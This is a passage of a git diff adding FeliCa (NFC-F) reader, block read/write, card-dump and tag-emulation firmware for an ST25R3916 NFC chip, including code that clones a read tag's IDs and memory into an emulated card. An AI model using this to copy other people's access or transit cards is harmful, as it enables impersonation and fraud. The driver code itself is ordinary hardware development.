tag->idm[1], tag->idm[2], tag->idm[3], + tag->idm[4], tag->idm[5], tag->idm[6], tag->idm[7]); + ESP_LOGI(TAG, "Tag found: IDm=%s", idm_str); + if (tag->rd_valid) { + ESP_LOGI(TAG, "System code: %02X%02X", tag->rd[0], tag->rd[1]); + } + return HB_NFC_OK; +} + +int felica_polling(uint16_t system_code, uint8_t time_slots, + felica_tag_t* out, size_t max_tags) +{ + if (!out || max_tags == 0) return 0; + + int count = 0; + uint8_t tries = (time_slots == 0) ? 1 : (uint8_t)(time_slots + 1); + for (uint8_t i = 0; i < tries && count < (int)max_tags; i++) { + felica_tag_t tag = { 0 }; + if (felica_sensf_req_slots(system_code, time_slots, &tag) != HB_NFC_OK) { + continue; + } + + bool dup = false; + for (int k = 0; k < count; k++) { + if (memcmp(out[k].idm, tag.idm, FELICA_IDM_LEN) == 0) { + dup = true; + break; + } + } + if (dup) continue; + + out[count++] = tag; + } + + return count; +} + +/* ─── READ WITHOUT ENCRYPTION ─────────────────────────────────────────────── */ + +hb_nfc_err_t felica_read_blocks(const felica_tag_t* tag, + uint16_t service_code, + uint8_t first_block, + uint8_t count, + uint8_t* out) +{ + if (!tag || !out || count == 0 || count > 4) return HB_NFC_ERR_PARAM; + + /* + * Read Without Encryption request: + * [LEN][0x06][IDm×8][SC_count=1][SC_L][SC_H] + * [BLK_count][BLK0_desc][BLK1_desc]... + * + * Block descriptor (2 bytes): [0x80|len_flag][block_num] + * 0x80 = 2-byte block descriptor, block_num fits in 1 byte + */ + uint8_t cmd[32]; + int pos = 0; + + cmd[pos++] = 0x00U; /* LEN placeholder, filled below */ + cmd[pos++] = FELICA_CMD_READ_WO_ENC; + memcpy(&cmd[pos], tag->idm, FELICA_IDM_LEN); pos += FELICA_IDM_LEN; + cmd[pos++] = 0x01U; /* 1 service */ + cmd[pos++] = (uint8_t)(service_code & 0xFFU); /* SC LSB first */ + cmd[pos++] = (uint8_t)(service_code >> 8); + cmd[pos++] = count; + for (int i = 0; i < count; i++) { + cmd[pos++] = 0x80U; /* 2-byte block descriptor */ + cmd[pos++] = (uint8_t)(first_block + i); + } + cmd[0] = (uint8_t)pos; /* LEN = total frame length including LEN byte */ + + uint8_t rx[256] = { 0 }; + int len = nfc_poller_transceive(cmd, (size_t)pos, /*with_crc=*/true, + rx, sizeof(rx), /*rx_min=*/1, /*timeout_ms=*/30); + if (len < 12) { + ESP_LOGW(TAG, "ReadBlocks: timeout (len=%d)", len); + return HB_NFC_ERR_TIMEOUT; + } + + /* Response: [LEN][0x07][IDm×8][status1][status2][BLK_count][data] */ + if (rx[1] != FELICA_CMD_READ_RESP) { + ESP_LOGW(TAG, "ReadBlocks: unexpected resp 0x%02X", rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + + uint8_t status1 = rx[10]; + uint8_t status2 = rx[11]; + if (status1 != 0x00U) { + ESP_LOGW(TAG, "ReadBlocks: status1=0x%02X status2=0x%02X", status1, status2); + return HB_NFC_ERR_PROTOCOL; + } + + uint8_t blk_count = rx[12]; + if (len < 13 + blk_count * FELICA_BLOCK_SIZE) { + ESP_LOGW(TAG, "ReadBlocks: response too short"); + return HB_NFC_ERR_PROTOCOL; + } + + memcpy(out, &rx[13], (size_t)blk_count * FELICA_BLOCK_SIZE); + return HB_NFC_OK; +} + +/* ─── WRITE WITHOUT ENCRYPTION ────────────────────────────────────────────── */ + +hb_nfc_err_t felica_write_blocks(const felica_tag_t* tag, + uint16_t service_code, + uint8_t first_block, + uint8_t count, + const uint8_t* data) +{ + if (!tag || !data || count == 0 || count > 1) return HB_NFC_ERR_PARAM; + + /* + * Write Without Encryption request: + * [LEN][0x08][IDm×8][SC_count=1][SC_L][SC_H] + * [BLK_count][BLK0_desc][data×16] + */ + uint8_t cmd[64]; + int pos = 0; + + cmd[pos++] = 0x00U; + cmd[pos++] = FELICA_CMD_WRITE_WO_ENC; + memcpy(&cmd[pos], tag->idm, FELICA_IDM_LEN); pos += FELICA_IDM_LEN; + cmd[pos++] = 0x01U; + cmd[pos++] = (uint8_t)(service_code & 0xFFU); + cmd[pos++] = (uint8_t)(service_code >> 8); + cmd[pos++] = count; + for (int i = 0; i < count; i++) { + cmd[pos++] = 0x80U; + cmd[pos++] = (uint8_t)(first_block + i); + memcpy(&cmd[pos], data + i * FELICA_BLOCK_SIZE, FELICA_BLOCK_SIZE); + pos += FELICA_BLOCK_SIZE; + } + cmd[0] = (uint8_t)pos; + + uint8_t rx[32] = { 0 }; + int len = nfc_poller_transceive(cmd, (size_t)pos, /*with_crc=*/true, + rx, sizeof(rx), /*rx_min=*/1, /*timeout_ms=*/50); + if (len < 11) { + ESP_LOGW(TAG, "WriteBlocks: timeout (len=%d)", len); + return HB_NFC_ERR_TIMEOUT; + } + + /* Response: [LEN][0x09][IDm×8][status1][status2] */ + uint8_t status1 = rx[10]; + uint8_t status2 = rx[11]; + if (status1 != 0x00U) { + ESP_LOGW(TAG, "WriteBlocks: status1=0x%02X status2=0x%02X", status1, status2); + return HB_NFC_ERR_NACK; + } + + ESP_LOGI(TAG, "WriteBlock[%u]: OK", first_block); + return HB_NFC_OK; +} + +/* ─── FULL DUMP ───────────────────────────────────────────────────────────── */ + +void felica_dump_card(void) +{ + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, "FeliCa / NFC-F Read"); + ESP_LOGI(TAG, ""); + + felica_poller_init(); + + felica_tag_t tag = { 0 }; + hb_nfc_err_t err = felica_sensf_req(FELICA_SC_COMMON, &tag); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "No FeliCa tag found"); + return; + } + + /* Try reading common service codes */ + static const struct { uint16_t sc; const char* name; } services[] = { + { 0x000BU, "Common Area (RO)" }, + { 0x0009U, "Common Area (RW)" }, + { 0x100BU, "NDEF service" }, + }; + + char hex[48], asc[20]; + uint8_t block[FELICA_BLOCK_SIZE]; + + for (size_t si = 0; si < sizeof(services)/sizeof(services[0]); si++) { + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, "Service 0x%04X — %s:", services[si].sc, services[si].name); + + int read_ok = 0; + for (int b = 0; b < FELICA_MAX_BLOCKS; b++) { + err = felica_read_blocks(&tag, services[si].sc, (uint8_t)b, 1, block); + if (err != HB_NFC_OK) break; + + /* Hex */ + size_t p = 0; + for (int i = 0; i < FELICA_BLOCK_SIZE; i++) { + p += (size_t)snprintf(hex + p, sizeof(hex) - p, "%02X ", block[i]); + } + /* ASCII */ + for (int i = 0; i < FELICA_BLOCK_SIZE; i++) { + asc[i] = (block[i] >= 0x20 && block[i] <= 0x7E) ? (char)block[i] : '.'; + } + asc[FELICA_BLOCK_SIZE] = '\0'; + + ESP_LOGI(TAG, "[%02d] %s|%s|", b, hex, asc); + read_ok++; + } + if (read_ok == 0) { + ESP_LOGW(TAG, "(no blocks readable)"); + } + } + ESP_LOGI(TAG, ""); +} diff --git a/firmware_p4/components/Applications/nfc/protocols/felica/felica_emu.c b/firmware_p4/components/Applications/nfc/protocols/felica/felica_emu.c new file mode 100644 index 00000000..677ac0b1 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/felica/felica_emu.c @@ -0,0 +1,423 @@ +/** + * @file felica_emu.c — DIAGNOSTIC BUILD + * Identical to BUG-14 fix but with verbose logging in SENSE to identify + * exactly which register/bit is triggering the premature SLEEP. + */ +#include "felica_emu.h" + +#include +#include +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "st25r3916_core.h" +#include "st25r3916_reg.h" +#include "st25r3916_cmd.h" +#include "st25r3916_fifo.h" +#include "st25r3916_irq.h" +#include "hb_nfc_spi.h" + +static const char* TAG = "felica_emu"; + +#define MODE_TARGET_NFCF 0xA0U +#define OP_CTRL_TARGET 0xC3U +#define FELICA_AUX_DEF 0x18U +#define FELICA_ISO_F_CTRL 0x80U +#define FELICA_BITRATE_212 0x11U /* tx=212, rx=212 */ +#define SENSE_IDLE_TIMEOUT 30000U +#define ACTIVE_IDLE_TIMEOUT 20000U +#define TIMER_I_EON 0x10U +#define TIMER_I_EOF 0x08U + +typedef enum { + FELICA_STATE_SLEEP, + FELICA_STATE_SENSE, + FELICA_STATE_ACTIVE, +} felica_emu_state_t; + +static felica_emu_card_t s_card; +static felica_emu_state_t s_state = FELICA_STATE_SLEEP; +static bool s_init_done = false; +static uint32_t s_idle = 0; + +static bool wait_oscillator(int timeout_ms) +{ + for (int i = 0; i < timeout_ms; i++) { + uint8_t aux = 0, mi = 0, ti = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + hb_spi_reg_read(REG_MAIN_INT, &mi); + hb_spi_reg_read(REG_TARGET_INT, &ti); + if (((aux & 0x14U) != 0U) || ((mi & 0x80U) != 0U) || ((ti & 0x08U) != 0U)) { + ESP_LOGI(TAG, "Osc OK in %dms: AUX=0x%02X MAIN=0x%02X TGT=0x%02X", + i, aux, mi, ti); + return true; + } + vTaskDelay(pdMS_TO_TICKS(1)); + } + ESP_LOGW(TAG, "Osc timeout - continuing"); + return false; +} + +static void tx_response(const uint8_t* data, int len) +{ + if (!data || len <= 0) return; + st25r_fifo_clear(); + st25r_set_tx_bytes((uint16_t)len, 0); + st25r_fifo_load(data, (size_t)len); + hb_spi_direct_cmd(CMD_TX_WITH_CRC); +} + +static void goto_sleep(void) +{ + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + s_state = FELICA_STATE_SLEEP; + s_idle = 0; +} + +static void write_pt_mem_f(void) +{ + uint8_t pt[19] = {0}; + pt[0] = (uint8_t)(s_card.system_code >> 8); + pt[1] = (uint8_t)(s_card.system_code & 0xFF); + pt[2] = 0x01U; /* SENSF_RES code */ + memcpy(&pt[3], s_card.idm, FELICA_IDM_LEN); + memcpy(&pt[11], s_card.pmm, FELICA_PMM_LEN); + hb_spi_pt_mem_write(SPI_PT_MEM_F_WRITE, pt, sizeof(pt)); + char idm_s[24]; + snprintf(idm_s, sizeof(idm_s), "%02X%02X%02X%02X%02X%02X%02X%02X", + s_card.idm[0], s_card.idm[1], s_card.idm[2], s_card.idm[3], + s_card.idm[4], s_card.idm[5], s_card.idm[6], s_card.idm[7]); + ESP_LOGI(TAG, "PT Mem F: SC=0x%04X IDm=%s PMm=%02X%02X%02X%02X%02X%02X%02X%02X", + s_card.system_code, idm_s, + s_card.pmm[0], s_card.pmm[1], s_card.pmm[2], s_card.pmm[3], + s_card.pmm[4], s_card.pmm[5], s_card.pmm[6], s_card.pmm[7]); +} +static void handle_read(const uint8_t* frame, int len) +{ + if (len < 16) { ESP_LOGW(TAG, "Read: too short (%d)", len); return; } + if (memcmp(&frame[2], s_card.idm, FELICA_IDM_LEN) != 0) { + ESP_LOGW(TAG, "Read: IDm mismatch"); return; + } + uint8_t sc_count = frame[10]; + int blk_pos = 11 + sc_count * 2; + if (blk_pos >= len) { ESP_LOGW(TAG, "Read: short (sc=%d)", sc_count); return; } + uint8_t blk_count = frame[blk_pos]; + int desc_pos = blk_pos + 1; + if (blk_count == 0 || blk_count > 4) { + ESP_LOGW(TAG, "Read: bad blk_count=%d", blk_count); return; + } + static uint8_t resp[4 + FELICA_IDM_LEN + 2 + 1 + FELICA_EMU_MEM_SIZE]; + int rp = 0; + resp[rp++] = 0x00U; + resp[rp++] = FELICA_CMD_READ_RESP; + memcpy(&resp[rp], s_card.idm, FELICA_IDM_LEN); rp += FELICA_IDM_LEN; + resp[rp++] = 0x00U; + resp[rp++] = 0x00U; + resp[rp++] = blk_count; + for (int i = 0; i < blk_count; i++) { + if (desc_pos + 1 >= len) { ESP_LOGW(TAG, "Read: desc %d OOF", i); break; } + uint8_t blk_flag = frame[desc_pos]; + uint8_t blk_num; + int desc_len; + if (blk_flag & 0x80U) { blk_num = frame[desc_pos+1]; desc_len = 2; } + else { blk_num = frame[desc_pos+1]; desc_len = 3; } + desc_pos += desc_len; + if (blk_num >= s_card.block_count) { + memset(&resp[rp], 0x00, FELICA_BLOCK_SIZE); + } else { + memcpy(&resp[rp], &s_card.mem[blk_num * FELICA_BLOCK_SIZE], FELICA_BLOCK_SIZE); + } + rp += FELICA_BLOCK_SIZE; + } + resp[0] = (uint8_t)rp; + ESP_LOGI(TAG, "READ blocks=%d", blk_count); + tx_response(resp, rp); +} + +static void handle_write(const uint8_t* frame, int len) +{ + if (len < 32) { ESP_LOGW(TAG, "Write: too short (%d)", len); return; } + if (memcmp(&frame[2], s_card.idm, FELICA_IDM_LEN) != 0) { return; } + uint8_t sc_count = frame[10]; + int blk_pos = 11 + sc_count * 2; + if (blk_pos >= len) { return; } + uint8_t blk_count = frame[blk_pos]; + int pos = blk_pos + 1; + if (blk_count == 0) return; + uint8_t status1 = 0x00U; + for (int i = 0; i < blk_count; i++) { + if (pos + 2 + FELICA_BLOCK_SIZE > len) { status1 = 0x01U; break; } + uint8_t blk_flag = frame[pos]; + uint8_t blk_num; + int desc_len; + if (blk_flag & 0x80U) { blk_num = frame[pos+1]; desc_len = 2; } + else { blk_num = frame[pos+1]; desc_len = 3; } + if (pos + desc_len + FELICA_BLOCK_SIZE > len) { status1 = 0x01U; break; } + if (blk_num < s_card.block_count) { + memcpy(&s_card.mem[blk_num * FELICA_BLOCK_SIZE], + &frame[pos + desc_len], FELICA_BLOCK_SIZE); + } else { status1 = 0x01U; } + pos += desc_len + FELICA_BLOCK_SIZE; + } + uint8_t resp[12]; + resp[0] = 12U; resp[1] = FELICA_CMD_WRITE_RESP; + memcpy(&resp[2], s_card.idm, FELICA_IDM_LEN); + resp[10] = status1; resp[11] = 0x00U; + tx_response(resp, 12); +} + +void felica_emu_card_from_tag(felica_emu_card_t* card, const felica_tag_t* tag, + uint16_t sc, uint8_t bc, const uint8_t* mem) +{ + if (!card || !tag) return; + memset(card, 0, sizeof(*card)); + memcpy(card->idm, tag->idm, FELICA_IDM_LEN); + memcpy(card->pmm, tag->pmm, FELICA_PMM_LEN); + card->system_code = tag->rd_valid ? (uint16_t)((tag->rd[0]<<8)|tag->rd[1]) : FELICA_SC_COMMON; + card->service_code = sc; + card->block_count = bc; + if (mem) { + size_t bytes = (size_t)bc * FELICA_BLOCK_SIZE; + if (bytes > FELICA_EMU_MEM_SIZE) bytes = FELICA_EMU_MEM_SIZE; + memcpy(card->mem, mem, bytes); + } +} + +void felica_emu_card_default(felica_emu_card_t* card, + const uint8_t idm[FELICA_IDM_LEN], + const uint8_t pmm[FELICA_PMM_LEN]) +{ + if (!card) return; + memset(card, 0, sizeof(*card)); + memcpy(card->idm, idm, FELICA_IDM_LEN); + memcpy(card->pmm, pmm, FELICA_PMM_LEN); + card->system_code = FELICA_SC_COMMON; + card->service_code = 0x0009U; + card->block_count = 16; +} + +hb_nfc_err_t felica_emu_init(const felica_emu_card_t* card) +{ + if (!card || card->block_count > FELICA_EMU_MAX_BLOCKS) return HB_NFC_ERR_PARAM; + memcpy(&s_card, card, sizeof(s_card)); + s_state = FELICA_STATE_SLEEP; s_idle = 0; s_init_done = true; + char idm_s[24]; + snprintf(idm_s, sizeof(idm_s), "%02X%02X%02X%02X%02X%02X%02X%02X", + card->idm[0],card->idm[1],card->idm[2],card->idm[3], + card->idm[4],card->idm[5],card->idm[6],card->idm[7]); + ESP_LOGI(TAG, "Init: IDm=%s SC=0x%04X blocks=%d", idm_s, card->system_code, card->block_count); + return HB_NFC_OK; +} + +hb_nfc_err_t felica_emu_configure_target(void) +{ + if (!s_init_done) return HB_NFC_ERR_INTERNAL; + ESP_LOGI(TAG, "Configure NFC-F target"); + hb_spi_reg_write(REG_OP_CTRL, 0x00U); + vTaskDelay(pdMS_TO_TICKS(5)); + hb_spi_direct_cmd(CMD_SET_DEFAULT); + vTaskDelay(pdMS_TO_TICKS(10)); + hb_spi_reg_write(REG_ISO14443A, 0x10U); + vTaskDelay(pdMS_TO_TICKS(2)); + uint8_t ic = 0; + hb_spi_reg_read(REG_IC_IDENTITY, &ic); + if (ic == 0x00U || ic == 0xFFU) { ESP_LOGE(TAG, "Chip not responding: IC=0x%02X", ic); return HB_NFC_ERR_INTERNAL; } + ESP_LOGI(TAG, "Chip OK: IC=0x%02X", ic); + hb_spi_reg_write(REG_IO_CONF2, 0x80U); + vTaskDelay(pdMS_TO_TICKS(2)); + hb_spi_reg_write(REG_OP_CTRL, 0x80U); + wait_oscillator(200); + hb_spi_direct_cmd(CMD_ADJUST_REGULATORS); + vTaskDelay(pdMS_TO_TICKS(10)); + hb_spi_reg_write(REG_MODE, MODE_TARGET_NFCF); + hb_spi_reg_write(REG_AUX_DEF, FELICA_AUX_DEF); + hb_spi_reg_write(REG_BIT_RATE, FELICA_BITRATE_212); + hb_spi_reg_write(REG_PASSIVE_TARGET, 0x00U); + hb_spi_reg_write(REG_ISO14443B_FELICA, FELICA_ISO_F_CTRL); + hb_spi_reg_write(REG_FIELD_THRESH_ACT, 0x00U); + hb_spi_reg_write(REG_FIELD_THRESH_DEACT, 0x00U); + hb_spi_reg_write(REG_PT_MOD, 0x60U); + write_pt_mem_f(); + st25r_irq_read(); + hb_spi_reg_write(REG_MASK_MAIN_INT, 0x00U); + hb_spi_reg_write(REG_MASK_TIMER_NFC_INT, 0x00U); + hb_spi_reg_write(REG_MASK_ERROR_WUP_INT, 0x00U); + hb_spi_reg_write(REG_MASK_TARGET_INT, 0x00U); + uint8_t mode_rb = 0, aux_rb = 0, isof_rb = 0; + hb_spi_reg_read(REG_MODE, &mode_rb); + hb_spi_reg_read(REG_AUX_DEF, &aux_rb); + hb_spi_reg_read(REG_ISO14443B_FELICA, &isof_rb); + if (mode_rb != MODE_TARGET_NFCF) { ESP_LOGE(TAG, "MODE mismatch: 0x%02X", mode_rb); return HB_NFC_ERR_INTERNAL; } + ESP_LOGI(TAG, "Configured: MODE=0x%02X AUX_DEF=0x%02X ISO_F=0x%02X", mode_rb, aux_rb, isof_rb); + return HB_NFC_OK; +} + +hb_nfc_err_t felica_emu_start(void) +{ + if (!s_init_done) return HB_NFC_ERR_INTERNAL; + st25r_irq_read(); + hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_TARGET); + vTaskDelay(pdMS_TO_TICKS(5)); + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + vTaskDelay(pdMS_TO_TICKS(2)); + s_state = FELICA_STATE_SLEEP; s_idle = 0; + uint8_t op=0, aux=0, pts=0; + hb_spi_reg_read(REG_OP_CTRL, &op); + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + hb_spi_reg_read(REG_PASSIVE_TARGET_STS, &pts); + ESP_LOGI(TAG, "Start (SLEEP): OP=0x%02X AUX=0x%02X PT_STS=0x%02X", op, aux, pts); + ESP_LOGI(TAG, "FeliCa emulation active - present a reader!"); + return HB_NFC_OK; +} + +void felica_emu_stop(void) +{ + hb_spi_reg_write(REG_OP_CTRL, 0x00U); + s_state = FELICA_STATE_SLEEP; s_idle = 0; s_init_done = false; + ESP_LOGI(TAG, "FeliCa emulation stopped"); +} + +/* ── run_step ── DIAGNOSTIC BUILD ──────────────────────────────────────────── + * + * Logs ALL IRQ register values on EVERY SENSE entry and on field-lost + * to pinpoint exactly which register/bit causes the premature SLEEP. + * + * Key question: is it timer_irq (REG_TIMER_NFC_INT 0x1B) bit3, + * or tgt_irq (REG_TARGET_INT 0x1D) bit3 (IRQ_TGT_OSCF)? + * Or is it something else entirely? + * ─────────────────────────────────────────────────────────────────────────── */ +void felica_emu_run_step(void) +{ + static uint32_t s_alive = 0; + if ((++s_alive % 10000U) == 0U) { + uint8_t aux=0, pts=0, op=0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + hb_spi_reg_read(REG_PASSIVE_TARGET_STS, &pts); + hb_spi_reg_read(REG_OP_CTRL, &op); + ESP_LOGI(TAG, "alive | state=%s OP=%02X AUX=%02X efd=%d pta=%d", + s_state==FELICA_STATE_SLEEP?"SLEEP":s_state==FELICA_STATE_SENSE?"SENSE":"ACTIVE", + op, aux, (aux>>6)&1, pts&0x0FU); + } + + uint8_t tgt_irq = 0; + uint8_t main_irq = 0; + uint8_t timer_irq = 0; + uint8_t err_irq = 0; + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + hb_spi_reg_read(REG_ERROR_INT, &err_irq); /* read all 4 regs */ + + uint8_t pts = 0; + hb_spi_reg_read(REG_PASSIVE_TARGET_STS, &pts); + uint8_t pta = pts & 0x0FU; + + /* ── SLEEP ── */ + if (s_state == FELICA_STATE_SLEEP) { + bool wake = (timer_irq & TIMER_I_EON) + || (tgt_irq & IRQ_TGT_WU_F) + || (tgt_irq & IRQ_TGT_WU_A); + if (!wake) return; + + ESP_LOGI(TAG, "SLEEP -> SENSE (pta=%u tgt=0x%02X main=0x%02X tmr=0x%02X err=0x%02X)", + pta, tgt_irq, main_irq, timer_irq, err_irq); + + hb_spi_direct_cmd(CMD_GOTO_SENSE); + s_state = FELICA_STATE_SENSE; + s_idle = 0; + return; /* [BUG-14 fix] no fall-through */ + } + + /* ── SENSE ── */ + if (s_state == FELICA_STATE_SENSE) { + + /* ── DIAGNOSTIC: log every non-idle IRQ in SENSE ── */ + if (tgt_irq || main_irq || timer_irq || err_irq) { + uint8_t rssi = 0; + hb_spi_reg_read(REG_RSSI_RESULT, &rssi); + ESP_LOGI(TAG, "[SENSE-IRQ] tgt=0x%02X main=0x%02X tmr=0x%02X err=0x%02X pta=%u RSSI=0x%02X", + tgt_irq, main_irq, timer_irq, err_irq, pta, rssi); + /* + * Decode bits for easy reading: + * tgt_irq bits: 7=WU_A 6=WU_A_X 5=WU_F 4=rfu 3=OSCF 2=SDD_C 1=rfu 0=rfu + * main_irq bits: 7=OSC 6=rfu 5=RXS 4=RXE(was FWL) 3=TXE 2=RXE 1=COL 0=rfu + * timer_irq bits: 7=GPT 6=NRT 5=MRAT 4=rfu 3=??? 2=??? 1=??? 0=??? + * + * NOTE: the 0x08 in timer_irq — which bit IS it exactly? + * The log will reveal whether it's timer_irq=0x08 or tgt_irq=0x08 + * that triggers field-lost. + */ + } + + bool go_active = (tgt_irq & IRQ_TGT_WU_F) + || (main_irq & IRQ_MAIN_RXE); + + if (go_active) { + s_idle = 0; + ESP_LOGI(TAG, "SENSE -> ACTIVE (pta=%u tgt=0x%02X main=0x%02X tmr=0x%02X)", + pta, tgt_irq, main_irq, timer_irq); + s_state = FELICA_STATE_ACTIVE; + if (!(main_irq & IRQ_MAIN_RXE)) return; + + } else if (timer_irq & TIMER_I_EOF) { + uint8_t rssi = 0; + hb_spi_reg_read(REG_RSSI_RESULT, &rssi); + ESP_LOGW(TAG, "SENSE: field lost -> SLEEP | timer_irq=0x%02X tgt=0x%02X pta=%u RSSI=0x%02X", + timer_irq, tgt_irq, pta, rssi); + goto_sleep(); + return; + + } else if (!tgt_irq && !main_irq && !timer_irq) { + if ((++s_idle) >= SENSE_IDLE_TIMEOUT) { + ESP_LOGI(TAG, "SENSE: timeout -> SLEEP"); + goto_sleep(); + return; + } + if ((s_idle % 5000U) == 0U) { + uint8_t aux=0, rssi=0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + hb_spi_reg_read(REG_RSSI_RESULT, &rssi); + ESP_LOGI(TAG, "[SENSE] idle=%lu AUX=0x%02X pta=%d RSSI=0x%02X", + (unsigned long)s_idle, aux, pta, rssi); + } + return; + } else { + return; + } + } + + /* ── ACTIVE ── */ + if (timer_irq & TIMER_I_EOF) { + uint8_t aux=0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + ESP_LOGI(TAG, "ACTIVE: field lost (AUX=0x%02X) -> SLEEP", aux); + goto_sleep(); + return; + } + if (!(main_irq & IRQ_MAIN_RXE)) { + if ((++s_idle) >= ACTIVE_IDLE_TIMEOUT) { + ESP_LOGI(TAG, "ACTIVE: idle timeout -> SLEEP"); + goto_sleep(); + } + return; + } + s_idle = 0; + + uint8_t buf[256] = {0}; + uint8_t fs1 = 0; + hb_spi_reg_read(REG_FIFO_STATUS1, &fs1); + int len = (int)(fs1 & 0x7FU); + if (len <= 0) return; + if (len > (int)sizeof(buf)) len = (int)sizeof(buf); + hb_spi_fifo_read(buf, (uint8_t)len); + if (len < 2) return; + + uint8_t cmd_code = buf[1]; + ESP_LOGI(TAG, "CMD 0x%02X len=%d", cmd_code, len); + switch (cmd_code) { + case FELICA_CMD_READ_WO_ENC: handle_read(buf, len); break; + case FELICA_CMD_WRITE_WO_ENC: handle_write(buf, len); break; + default: ESP_LOGW(TAG, "Unsupported cmd 0x%02X", cmd_code); break; + } +} \ No newline at end of file diff --git a/firmware_p4/components/Applications/nfc/protocols/felica/include/felica.h b/firmware_p4/components/Applications/nfc/protocols/felica/include/felica.h new file mode 100644 index 00000000..c9ebec85 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/felica/include/felica.h @@ -0,0 +1,117 @@ +/** + * @file felica.h + * @brief FeliCa (NFC-F / ISO 18092) reader/writer for ST25R3916. + * + * Protocol summary: + * - 13.56 MHz, 212 or 424 kbps + * - IDm: 8-byte manufacturer ID (used as tag address) + * - PMm: 8-byte manufacturer parameters + * - System codes: 0x88B4 (common), 0x0003 (NDEF), 0x8008 (Suica/transit) + * - Commands: SENSF_REQ/RES (poll), Read/Write Without Encryption + */ +#ifndef FELICA_H +#define FELICA_H + +#include +#include +#include +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" + +/* ─── Constants ────────────────────────────────────────────────────────────── */ +#define FELICA_IDM_LEN 8 +#define FELICA_PMM_LEN 8 +#define FELICA_BLOCK_SIZE 16 +#define FELICA_MAX_BLOCKS 32 + +#define FELICA_CMD_SENSF_REQ 0x04U +#define FELICA_CMD_SENSF_RES 0x05U +#define FELICA_CMD_READ_WO_ENC 0x06U +#define FELICA_CMD_READ_RESP 0x07U +#define FELICA_CMD_WRITE_WO_ENC 0x08U +#define FELICA_CMD_WRITE_RESP 0x09U + +#define FELICA_SC_COMMON 0x88B4U /**< wildcard system code */ +#define FELICA_SC_NDEF 0x0003U /**< NDEF system code */ + +#define FELICA_RCF_NONE 0x00U /**< no system code in response */ +#define FELICA_RCF_SYSTEM_CODE 0x01U /**< include system code in response */ + +/* ─── Tag descriptor ───────────────────────────────────────────────────────── */ +typedef struct { + uint8_t idm[FELICA_IDM_LEN]; /**< Manufacturer ID (8 bytes) */ + uint8_t pmm[FELICA_PMM_LEN]; /**< Manufacturer Parameters (8 bytes) */ + uint8_t rd[2]; /**< Request Data / System Code */ + bool rd_valid; /**< rd was included in SENSF_RES */ +} felica_tag_t; + +/* ═══════════════════════════════════════════════════════════════════════════ + * Poller API + * ═══════════════════════════════════════════════════════════════════════════ */ + +/** + * @brief Configure ST25R3916 for FeliCa polling (212 kbps). + */ +hb_nfc_err_t felica_poller_init(void); + +/** + * @brief Send SENSF_REQ and collect the first responding tag. + * + * @param system_code System code filter (FELICA_SC_COMMON = all tags). + * @param tag Output: populated with IDm, PMm, RD. + */ +hb_nfc_err_t felica_sensf_req(uint16_t system_code, felica_tag_t* tag); + +/** + * @brief Send SENSF_REQ with time slots (best-effort). + * + * @param time_slots 0-15 (0 = 1 slot, 15 = 16 slots). + */ +hb_nfc_err_t felica_sensf_req_slots(uint16_t system_code, uint8_t time_slots, felica_tag_t* tag); + +/** + * @brief Poll multiple tags by repeating SENSF_REQ (best-effort). + * + * Returns number of unique tags found (by IDm). + */ +int felica_polling(uint16_t system_code, uint8_t time_slots, + felica_tag_t* out, size_t max_tags); + +/** + * @brief Read blocks using Read Without Encryption (command 0x06). + * + * @param tag Tag with valid IDm. + * @param service_code Service code (e.g. 0x000B for read-only, 0x0009 for R/W). + * @param first_block Starting block number (0-based). + * @param count Number of blocks to read (max 4 per command). + * @param out Output buffer (count × 16 bytes). + */ +hb_nfc_err_t felica_read_blocks(const felica_tag_t* tag, + uint16_t service_code, + uint8_t first_block, + uint8_t count, + uint8_t* out); + +/** + * @brief Write blocks using Write Without Encryption (command 0x08). + * + * @param tag Tag with valid IDm. + * @param service_code Service code (e.g. 0x0009 for R/W). + * @param first_block Starting block number (0-based). + * @param count Number of blocks to write (max 1 per command). + * @param data Data to write (count × 16 bytes). + */ +hb_nfc_err_t felica_write_blocks(const felica_tag_t* tag, + uint16_t service_code, + uint8_t first_block, + uint8_t count, + const uint8_t* data); + +/** + * @brief Full tag dump: SENSF_REQ + read blocks. + * + * Tries common system code, reads up to 32 blocks. + */ +void felica_dump_card(void); + +#endif /* FELICA_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/felica/include/felica_emu.h b/firmware_p4/components/Applications/nfc/protocols/felica/include/felica_emu.h new file mode 100644 index 00000000..29b8ab92 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/felica/include/felica_emu.h @@ -0,0 +1,76 @@ +/** + * @file felica_emu.h + * @brief FeliCa (NFC-F) tag emulation for ST25R3916. + * + * Why this is the easiest emulation on ST25R3916: + * + * The chip has a dedicated PT Memory F (SPI command 0xA8) that stores + * IDm + PMm + System Code. When a reader sends SENSF_REQ, the chip + * replies automatically with SENSF_RES — no software needed. + * This is the exact same mechanism as PT Memory A for NFC-A (REQA/ATQA). + * + * Software only handles Read/Write commands that arrive after SENSF. + * + * State machine (identical to T2T / MFC): + * SLEEP ──[field detected]──► SENSE ──[SENSF received, HW responds]──► ACTIVE + * ACTIVE ──[Read/Write cmd]──► respond ──► ACTIVE + * ACTIVE ──[field lost]──► SLEEP + * + * PT Memory F layout (19 bytes, written with SPI cmd 0xA8): + * [0..1] NFCF_SC (system code, big endian) + * [2] SENSF_RES code (0x01) + * [3..10] NFCID2 / IDm (8 bytes) + * [11..18] PMm (8 bytes) + * The chip appends RD when requested (RCF) using 